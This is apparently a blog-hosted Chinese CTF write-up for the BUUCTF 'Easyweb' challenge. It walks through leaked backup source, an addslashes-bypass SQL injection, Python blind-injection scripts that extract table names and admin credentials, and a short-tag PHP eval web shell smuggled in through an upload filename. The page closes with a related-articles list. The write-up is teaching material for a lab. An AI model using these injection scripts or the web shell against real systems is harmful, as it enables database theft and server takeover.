BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb

考点:

  1. robots.txt备份文件
  2. addslashes()函数、通过转义闭合语句
  3. 用户名密码盲注
  4. 文件上传php短标签

启动靶机:

一个登陆页面,查看源码:

<div class="clear"> </div><div class="avtar"><img src="data:image.php?id=2" width="200" height="200"/></div><form method="post" action="user.php">

发现其存在image.php?id=2页面,尝试访问123:


不同的id值对应不同的头像,对参数测试了写注入,无果,查看writeup为源码泄露
访问:robots.txt

发现其存在*.php.bak备份文件,其网站存在index.phpimage.phpuser.php
都对其进行访问

成功下载到image.php.bak文件:

<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

源码分析:

  • GET方式传入变量id的值,若没有则为1
  • GET方式传入变量path的值,若没有则为
  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,单引号(')双引号(")反斜杠(\)
  • str_replace()函数将两个变量内的\0%00\''都替换为
  • 将变量$id$path拼接进SQL语句

本地测试:

<?php$id = "\\0";echo $id.'<br>';$id = addslashes($id);echo $id.'<br>';$id=str_replace(array("\\0","%00","\\'","'"),"",$id);echo $id;
?>

得到结果:

也就是说,\\0在传入变量$id的值后,首先被转义为\0,再经过addslashes()函数的处理,变量$id="\\0",再由str_replace()函数的替换,最终变为\
SQL语句变为:

select * from images where id='\' or path='{$path}'

其中\'变成了字符串包含在两侧的'单引号中,即变量$id的值为:\' or path=
之后就可以从{$path}处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想:

?id=\\0&path=or 1=if(length(database())>1,1,-1)%23


可以得到正常的回显,可以通过盲注来实现注入,首先获当前数据库中所有表名:

if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),0,1))=1,1,-1)%23

此处采用Python3盲注脚本,

import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
table_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:table_name += chr(c)print(table_name)break

得到了两个表:imagesusers
判断用户信息应该在users表中,继续爆出列名:
注:因为过滤了'单、"双引号,所以需要将字符串转换成十六进制

users -> 0x7573657273

构造获取列名的Payload:

if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23

使用Python3脚本实现:

import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
column_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:column_name += chr(c)print(table_name)break


得到列名:usernamepassword
接下来就是常规的盲注,需要获取用户名密码

select group_concat(username) from users

Python3脚本:

import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
username = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:username += chr(c)print(username)break


得到用户名为admin

select group_concat(password) from users


得到明文密码:a99ebacca074d1e47924

使用账号登陆:

admin
a99ebacca074d1e47924


进入平台,有文件上传功能,先传入正常的.txt文件:


上传后,给出回显:

说将文件名记录在日志中,尝试通过文件名写入一句话木马:

<?php @eval($_POST['hack']); ?>

尝试使用BurpSuite抓取数据包,通过修改文件名实现写入一句话木马:

Content-Disposition: form-data; name="file"; filename="1.txt"

修改Content-Disposition中参数filename的值为:<?php @eval($_POST['hack']); ?>

得到回显内容:

提示不能上传php文件,猜测是因为一句话中包含PHP的<?php该标签,查阅资料,可以使用短标签:<?= ?>
:使用短标签时,需要short_open_tag=on
构造短标签一句话木马:<?= @eval($_POST['hack']); ?>,传入得到回显:

已经给出了log文件路径,使用中国蚁剑连接:


/目录下找到flag

BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb相关推荐

  1. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  2. BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

    文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...

  3. buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫描目录   得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...

  4. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  5. [CISCN2019 总决赛 Day2 Web1]Easyweb1

    一.前言 在之前的文章中我提到最近一直在做sql注入相关的东西,也在一直做sql注入有关的题目.但是,事实上很多赛题他们的考点并不单一,往往需要结合着其他的知识,才能够拿到想要的结果.下面这道题就是我 ...

  6. [CISCN2019 华北赛区 Day2 Web1]Hack World

    [CISCN2019 华北赛区 Day2 Web1]Hack World 这道题的考点貌似是sql盲注还是第一次遇到这种类型,表示太难了.. 主界面 它的意思是让我们给出文章的id,那我们就输入一试试 ...

  7. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  8. 【web-ctf】ctf_BUUCTF_web(2)

    文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...

  9. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  10. [BUUCTF]第六天训练日志

    文章目录 [SUCTF 2019]EasyWeb [HFCTF2020]EasyLogin [CISCN2019 华北赛区 Day2 Web1]Hack World [SUCTF 2019]EasyW ...

最新文章

  1. 精心安利8个良心好用的学习神器和办公神器
  2. 《Head First Java》读书笔记(3) - 异常和IO
  3. 二叉树节点间的最大距离
  4. android ListView ListSelector 不起作用(被覆盖)
  5. ApacheCN Angular 译文集 20211114 更新
  6. emqtt 试用(七)追踪
  7. Ext.data-DataProxy/ HttpProxy/ MemoryProxy/ ScriptTagProxy
  8. Hibernate插入、查询、删除操作 HQL (转)
  9. 各种排序算法的实现直接插入排序
  10. Intel XTU 开机自启
  11. 计算机电源认证,80plus认证级别含义扫盲
  12. 数学建模竞赛和matlab
  13. 360极速浏览器打不开国内网站的一种解决方法
  14. SQLite 命令行客户端 sqlite3 使用指南
  15. java jit技术_JVM之JIT
  16. word公式编号及交叉引用技巧
  17. python 文件打开的六种方式
  18. vuex的五个基本属性和用法
  19. Motion Pro 如何使用
  20. 每日一个Linux命令之cat/tac/head/tail

热门文章

  1. 数字经济的网络黑手,中科信安:勒索软件攻击比去年同期增加7倍
  2. 安卓kotlin教程
  3. mac搭建c语言开发环境
  4. 薪酬体系怎么设计?看看这家把薪酬公开的公司怎么说
  5. 【MTK sensor】alsps分析(以色温为例)
  6. C4认证Java基础Excel练习题
  7. 【算法01】—动态规划
  8. c html中让图片反色,图片反色.html
  9. SSM框架整合-404
  10. 在Vue项目中使用阿里巴巴矢量图